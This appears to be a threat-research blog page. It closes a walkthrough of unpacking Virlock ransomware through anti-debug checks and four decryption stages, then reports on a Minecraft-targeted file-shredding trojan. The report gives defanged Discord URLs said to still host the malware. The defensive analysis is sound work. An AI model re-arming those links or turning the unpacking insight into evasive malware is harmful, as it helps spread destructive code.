We will have to start our dynamic analysis here with x86 dbg, windbg, ollydbg, or Immunity. All metamorphic and even polymorphic code stubs inside the beginning of a crypter have a “call” or “jmp” of some sort to redirect the code to the actual native code of the malware. When the code jumps or calls this area. The code can be considered decrypted at this point. Sometimes we call this area the OEP within some malware. With metamorphic code this area will be chopped up with useless instructions and random junk with the main native code. This is what makes analysis of a metamorphic malware sample hard and time consuming.

After decrypting the starting routine. You will see the following algorithm

The Anti-Debug part of this algorithm is highlighted in red below. Most new reverse engineers will get stuck in this loop without understanding the assembly code.

Once you get past the Anti-Debugging and the first Key check. You will start to see the “New Key Generator Stage”:

This is how you know you are on the correct track. While going down the rabbit hole.

First Metamorphic Decryption Set:

Once you do make it down the correct control path. You will reach the decryptor.

The decryptor will then decrypt the following metamorphic stub. This stub will be the next malware code to execute. Once You’ve found the decryptor and encryptor code stubs along with the pseudo-random value generator. You are basically to the point now, where you can follow the malwares code base 100% the rest of the way. It will take a very long time stepping through the code and a lot of problems and virtual machine snapshot resets to get this far. Just keep with it and you will get there.

Second Metamorphic Decryption Set:

This is the second decryption routine you will run into after the one above


This is what the second encrypted malware routine looks like. The top line has started to decrypt:

This is what the second decrypted malware routine looks like:

Third Metamorphic Decryption Set:

The third set will decrypt a large portion of the file about 3,466 bytes. I cannot show all of the decryption as its insanely long. However, I can show you the decryption routine of the third set and the following encrypted and decrypted bytes:

The encrypted bytes, having the first line decrypted again.

This is the decryption of the third set.

Fourth Metamorphic Decryption Set:

The fourth decryption algorithm will show us the shellcode they use finally.

What the Encrypted shellcode bytes look like:

Now we are finally to the shellcode that actually does something. We finally made it. To code that actually does something useful.

Once you get this far its time to reverse engineer the shellcode. This should help you get started.

It’s nice to see progress from encrypted code to decrypted code while you’re working in any debugger. It just further illustrates you are on the correct path. I’ve added the above unpacking procedure to show the readers it’s very time consuming to do this unpacking procedure. However, this is what you need to do to each file that has been infected. This is why it’s recommended to have a security professional to locate all the decryption keys for each file that has been infected. I’ve heard this part is automated now on a few different websites that are laying around online. Who knows if they actually work. Please read the summary below about what to do in case you are infected with this malware.

Extra-Information:

A collection of notes for the avid security researchers.

As always there is so much more to this malware that just isn’t covered in this blog. This blog would be 100 pages long if we hit every aspect of this malware.

Supported Systems:

The sample was tested and debugged on (x86) – 32 Bit, Windows 7 Professional.

Summary:

If you are infected with this malware. Make a backup of the files you would like to keep. There are ways to decrypt the files from this ransomware. However, the process will be long and time consuming. After saving your files. You should think about getting a new hard drive to reinstall your OS too. Do not use the old hard drive. File Infector ransomware is probably considered the worst of any type of malware you could possible get infected with.

SonicWall, Gateway Anti-Virus (GAV), provides protection against this threat:

GAV: Virlock.E

File shredder malware spitefully deletes files and celebrates

The SonicWall Capture Labs Threat Research Team have recently come across malware that appears to be targeting the Minecraft gaming community.  Rather than encrypting files and holding them ransom for a fee, the aim of the malware is to simply delete files from the system without any possibility of recovery.

Infection Cycle:

The origin of the file is an attachment hosted on discordapp.com:

hxxps://cdn.discordapp.com/attachments/548593284985913388/548622096075325441/The_power_of_hentai.exe

The link is still live at the time of writing.

Upon execution the malware iterates through files on the system and overwrites them with the following text file:

 

It creates %SystemDrive%\memes\Idiot.exe [Detected as: GAV: Johnnie.HT (Trojan)] and executes it.

 

Idiot.exe downloads a gif file from the following link:

hxxps://cdn.discordapp.com/attachments/548593284985913388/548621341654515783/despacito.gif

It then causes the following windows to pop up in a random fashion showing the gif above of an animated figure dancing in celebration:

 

The text file leads one to believe that the malware is aimed at a particular group of people in the Minecraft gaming community.  Strings for “Minecraft” can also be seen throughout the executable file:

 

SonicWALL Capture Labs provides protection against this threat via the following signatures:

  • GAV: Johnnie.HT (Trojan)
  • GAV: KillFiles.HT (Trojan)